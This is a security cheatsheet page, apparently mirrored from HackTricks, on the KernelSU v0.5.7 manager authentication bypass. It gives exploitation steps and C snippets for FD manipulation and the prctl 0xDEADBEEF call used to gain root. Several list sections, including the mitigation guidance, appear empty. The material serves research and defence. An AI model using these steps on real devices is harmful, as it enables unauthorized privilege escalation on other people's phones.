repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
android-rooting-frameworks-manager-auth-bypass-syscall-hook.mdMarkdown202 lines13.0 KiBsource raw download

title: "Android Rooting Frameworks (KernelSU/Magisk) Manager Auth Bypass & Syscall Hook Abuse" section: "Linux" sectionSlug: "linux-hardening" sourcePath: "src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

Android Rooting Frameworks (KernelSU/Magisk) Manager Auth Bypass & Syscall Hook Abuse#

Rooting frameworks such as KernelSU, APatch and SKRoot patch or hook the Android/Linux kernel and expose privileged functionality to an unprivileged userspace manager app. Magisk is discussed separately below because CVE-2024-48336 involved manager-side code loading rather than this KernelSU syscall path.[1][5][13]

This page abstracts the techniques and pitfalls uncovered in public research (notably Zimperium’s analysis of KernelSU v0.5.7) to help both red and blue teams understand attack surfaces, exploitation primitives, and robust mitigations.[1]


Architecture pattern: syscall-hooked manager channel#

Example (KernelSU design):


KernelSU v0.5.7 authentication flow (as implemented)#

When userspace calls prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...), KernelSU verifies:[1][2][11]

  1. Path prefix check
  1. Ownership check
  1. APK signature check via FD table scan

If all checks pass, the kernel caches the manager’s UID temporarily; manager-only commands then accept that UID, while other commands retain their own UID or allowlist checks.[2][3]


Vulnerability class: trusting path-derived APK selection#

KernelSU v0.5.7 does not bind the signature result to PackageManager’s installed package identity. In manager.c, the package test is only a path substring check (strstr(cwd, pkg)); the first candidate that passes that test is then signature-checked. An attacker can therefore place a genuine manager APK under a /data/app/ path that also contains the attacker’s package name and arrange for it to be selected first.[1][3][4]

This trust-by-indirection lets an unprivileged app impersonate the manager without owning the manager’s signing key.[1]

Key properties exploited:[1][3]


Attack preconditions#

The concrete KernelSU v0.5.7 case requires:[1][3]


Exploitation outline (KernelSU v0.5.7)#

High-level steps (the cited demo video shows the public proof of concept in operation):[1][2][10]

  1. Build a valid path to your own app data directory to satisfy prefix and ownership checks.
  2. Place a genuine KernelSU Manager base.apk under /data/app/ at a path containing your package string, then open it on a lower-numbered FD than your own base.apk.
  3. Invoke prctl(0xDEADBEEF, CMD_BECOME_MANAGER, <your_data_dir>, ...) to pass the checks.
  4. Use CMD_GRANT_ROOT, then CMD_ALLOW_SU for persistent su; invoke root-only CMD_SET_SEPOLICY only after obtaining root and only where supported.

Practical notes on step 2 (FD ordering):[1]

Example code snippets (Android/Linux, illustrative only):

Enumerate open FDs to locate base.apk entries:

#include <dirent.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int find_first_baseapk_fd(char out_path[PATH_MAX]) {
    DIR *d = opendir("/proc/self/fd");
    if (!d) return -1;
    struct dirent *e; char link[PATH_MAX]; char p[PATH_MAX];
    int best_fd = -1;
    while ((e = readdir(d))) {
        if (e->d_name[0] == '.') continue;
        int fd = atoi(e->d_name);
        snprintf(link, sizeof(link), "/proc/self/fd/%d", fd);
        ssize_t n = readlink(link, p, sizeof(p)-1);
        if (n <= 0) continue; p[n] = '\0';
        if (strstr(p, "/data/app/") && strstr(p, "/base.apk")) {
            if (best_fd < 0 || fd < best_fd) {
                best_fd = fd; strncpy(out_path, p, PATH_MAX);
            }
        }
    }
    closedir(d);
    return best_fd; // First (lowest) matching fd
}

Force a lower-numbered FD to point at the legitimate manager APK:

#include <fcntl.h>
#include <unistd.h>

void preopen_legit_manager_lowfd(const char *legit_apk_path) {
    // Reuse stdin (fd 0) if possible so the next open() returns 0
    close(0);
    int fd = open(legit_apk_path, O_RDONLY);
    (void)fd; // fd should now be 0 if available
}

Manager authentication via the KernelSU v0.5.7 prctl hook:[1][2][11]

#include <sys/prctl.h>
#include <stdint.h>

#define KSU_MAGIC          0xDEADBEEF
#define CMD_BECOME_MANAGER 1  // KernelSU v0.5.7; other frameworks differ

int become_manager(const char *my_data_dir) {
    uint32_t reply = 0;
    // arg3: data path; arg4: unused; arg5: userspace result pointer
    (void)prctl(KSU_MAGIC, CMD_BECOME_MANAGER,
                (unsigned long)my_data_dir, 0UL,
                (unsigned long)&reply);
    return reply == KSU_MAGIC ? 0 : -1;
}

After success, privileged commands (examples):[2][11]

Race/persistence tip:


Detection and mitigation guidance#

For framework developers:

For defenders/blue team:

Limitations of the attack:[1][2]



References#